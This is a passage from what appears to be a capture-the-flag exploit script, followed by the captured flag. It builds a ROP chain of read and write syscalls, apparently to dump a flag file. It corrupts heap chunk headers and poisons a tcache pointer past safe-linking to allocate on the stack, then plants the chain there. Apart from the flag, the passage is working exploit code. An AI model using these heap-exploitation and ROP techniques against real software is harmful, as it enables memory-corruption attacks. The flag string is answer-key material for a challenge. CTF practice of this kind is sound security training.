p1+=p64(pop_rax_ret)+p64(0)
p1+=p64(pop_rdi_ret)+p64(3)
p1+=p64(pop_rdx_ret)+p64(0x30)*2
p1+=p64(pop_rsi_ret)+p64(stack_addr-0x300)
p1+=p64(syscall_ret)
p1+=p64(pop_rax_ret)+p64(1)
p1+=p64(pop_rdi_ret)+p64(1)
p1+=p64(pop_rsi_ret)+p64(stack_addr-0x300)
p1+=p64(syscall_ret)
edit_chunk(0,0x440,b'a'*0x1f8+p64(0x201)+p64(0)+b'\x00'*0x1f0+p64(0x301))
free_chunk(2)
free_chunk(1)
edit_chunk(0,0x440,b'a'*0x1f8+p64(0x201)+p64((heap_base>>12)^(stack_addr-0x10))+b'\x00'*0x1f0+p64(0x301))
add_chunk(0x1f0,'zlpzlp')
add_chunk(0x1f0,p1)
r.interactive()
flag{74c6886a-8821-499e-b8f8-249d816b47fc}